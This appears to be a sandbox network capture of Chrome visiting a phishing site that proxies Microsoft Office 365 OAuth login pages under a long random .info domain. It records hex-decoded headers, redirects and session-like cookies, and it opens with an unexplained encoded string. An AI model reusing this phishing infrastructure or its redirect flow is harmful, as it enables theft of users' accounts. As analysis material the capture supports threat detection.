sf1phS2deSWxpZ5RgiGiIkWheXomic3dweHKWXmV7l6afbWGujHx9iI2AtK2EeKqPuX6/iJSBebl/l4/FlpejupuMvqPLkqywraKfuK6my7isnt2v39vSt+OxwMSy6MGjwLm50M7A3+7nxsrt88nE8si8+d/6v7nD1cYC8cbK+QYF2ObbB8QQCt3WAvjjGNja1h31G+/h+RLi8CTe5eor/ir3A+LtMfwNB/XpLgYEODcH/CwzEgMDIRoTECUmFA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	50686	104.18.94.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:26 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/955245256:1736947623:vp-07IYrd0iRjBiJMB70-HnWl3BYr4NojnYmTM_I_kY/902675a0487a1a24/gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:26 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 15 Jan 2025 14:12:26 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 1Y9+JPf80vMZecSje1MVNlht2brZLGMCTOVkot9wOCsI45MvcDLMh2oKFSBCgTtBeQdlDOaZBXLzCQA76+SgyA==$p6R88e0m01u7I1paWBPq/Q== Server: cloudflare CF-RAY: 902675f0fce142e2-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:26 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	50684	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:26 UTC	965	OUT	GET /mQlruOEx?R=5GXlEIo HTTP/1.1 Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd
2025-01-15 14:12:26 UTC	20	IN	HTTP/1.1 302 Found
2025-01-15 14:12:27 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:27 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-15 14:12:27 UTC	73	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6f 66 66 69 63 65 2e 39 35 70 69 62 32 6f 7a 77 72 77 34 77 32 62 34 74 31 75 62 72 78 70 6a 63 37 36 64 6f 73 33 6e 6f 70 68 76 69 72 68 74 2e 69 6e 66 6f 2f 0d 0a Data Ascii: Location: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/
2025-01-15 14:12:27 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-15 14:12:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-15 14:12:27 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-15 14:12:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	50685	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:27 UTC	947	OUT	GET / HTTP/1.1 Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd
2025-01-15 14:12:27 UTC	20	IN	HTTP/1.1 302 Found
2025-01-15 14:12:27 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-15 14:12:27 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:27 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-15 14:12:27 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 31 32 3a 32 36 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 15 Jan 2025 14:12:26 GMT
2025-01-15 14:12:27 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-15 14:12:27 UTC	77	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 72 65 61 63 74 2e 39 35 70 69 62 32 6f 7a 77 72 77 34 77 32 62 34 74 31 75 62 72 78 70 6a 63 37 36 64 6f 73 33 6e 6f 70 68 76 69 72 68 74 2e 69 6e 66 6f 2f 6c 6f 67 69 6e 0d 0a Data Ascii: Location: https://react.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/login
2025-01-15 14:12:27 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-15 14:12:27 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-15 14:12:27 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-15 14:12:27 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	50687	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:28 UTC	855	OUT	GET /login HTTP/1.1 Host: react.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b
2025-01-15 14:12:28 UTC	20	IN	HTTP/1.1 302 Found
2025-01-15 14:12:28 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:28 UTC	24	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a Data Ascii: Content-Encoding: gzip
2025-01-15 14:12:28 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-15 14:12:28 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 31 32 3a 32 37 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 15 Jan 2025 14:12:27 GMT
2025-01-15 14:12:29 UTC	865	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6f 66 66 69 63 65 2e 39 35 70 69 62 32 6f 7a 77 72 77 34 77 32 62 34 74 31 75 62 72 78 70 6a 63 37 36 64 6f 73 33 6e 6f 70 68 76 69 72 68 74 2e 69 6e 66 6f 2f 63 6f 6d 6d 6f 6e 2f 6f 61 75 74 68 32 2f 76 32 2e 30 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 26 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 46 6c 61 6e 64 69 6e 67 76 32 26 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 25 32 30 69 64 5f 74 6f 6b 65 6e 26 73 63 6f 70 65 3d 6f 70 65 6e 69 64 25 32 30 70 72 6f 66 69 6c 65 25 32 Data Ascii: Location: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%2
2025-01-15 14:12:29 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-15 14:12:29 UTC	25	IN	Data Raw: 52 65 71 75 65 73 74 2d 43 6f 6e 74 65 78 74 3a 20 61 70 70 49 64 3d 0d 0a Data Ascii: Request-Context: appId=
2025-01-15 14:12:29 UTC	114	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 44 43 41 66 66 69 6e 69 74 79 3d 4f 48 2d 77 65 75 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 32 32 3a 31 32 3a 32 38 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.DCAffinity=OH-weu; Path=/; Expires=Wed, 15 Jan 2025 22:12:28 GMT; HttpOnly; Secure; SameSite=None
2025-01-15 14:12:29 UTC	138	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 46 4c 49 44 3d 62 65 66 33 65 35 34 65 2d 65 38 38 38 2d 34 37 36 35 2d 38 64 39 39 2d 66 63 61 33 66 66 64 66 66 31 33 37 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 31 35 20 4a 61 6e 20 32 30 32 36 20 31 34 3a 31 32 3a 32 38 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: OH.FLID=bef3e54e-e888-4765-8d99-fca3ffdff137; Path=/; Expires=Thu, 15 Jan 2026 14:12:28 GMT; HttpOnly; Secure; SameSite=None
2025-01-15 14:12:29 UTC	68	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 53 49 44 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: OH.SID=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	50688	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:29 UTC	1939	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1 Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd; fpc=AgMjZ0Gnd0VPvyNLfK9u4tA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEzdN_v1k9Ynxm1HszYIp_zI4DbpxFYNylnftSsKAl2ZpBM0e_khqhPr47qtg5oEdS8Md4mRzYFeKTg8bADBDDd_h8QuJXPJiBeCNnDocOyvMtldo5Xsx5fvS_2oTn4qjk334_xg8U1GRkTnNhawdRL2F16dm34dnyZhCtCgJxAxcgAA; stsservicecookie=estsfd
2025-01-15 14:12:30 UTC	17	IN	HTTP/1.1 200 OK
2025-01-15 14:12:30 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-15 14:12:30 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:30 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-15 14:12:30 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 31 32 3a 32 39 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 15 Jan 2025 14:12:29 GMT
2025-01-15 14:12:30 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-15 14:12:30 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-15 14:12:30 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-15 14:12:30 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-15 14:12:30 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-15 14:12:30 UTC	151	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 61 6d 73 32 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	50692	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:32 UTC	2975	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1 Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd; fpc=AgMjZ0Gnd0VPvyNLfK9u4tA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEzdN_v1k9Ynxm1HszYIp_zI4DbpxFYNylnftSsKAl2ZpBM0e_khqhPr47qtg5oEdS8Md4mRzYFeKTg8bADBDDd_h8QuJXPJiBeCNnDocOyvMtldo5Xsx5fvS_2oTn4qjk334_xg8U1GRkTnNhawdRL2F16dm34dnyZhCtCgJxAxcgAA; stsservicecookie=estsfd; esctx-VPB6SXiN8qQ=AQABCQEAAABVrSpeuWamRam2jAF1XRQEmtgKbdBGIbg3KQagZtZaP1U79o5IeL6fzGbxN5ouVFXMPwIFKVmPrMww9bKvwxM-JWQpQHfnWoiH_yvztwcR2fXicV-2BedkLl_2CYepFjc8w3AzNBf-mkMONh-ZP1qOLdja6i0TABIP5IhqtuFisSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-01-15 14:12:32 UTC	17	IN	HTTP/1.1 200 OK
2025-01-15 14:12:32 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-15 14:12:32 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:32 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-15 14:12:32 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 31 32 3a 33 31 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 15 Jan 2025 14:12:31 GMT
2025-01-15 14:12:32 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-15 14:12:32 UTC	158	IN	Data Raw: 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 3b 20 63 72 6f 73 73 6f 72 69 67 69 6e 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 0d 0a Data Ascii: Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch
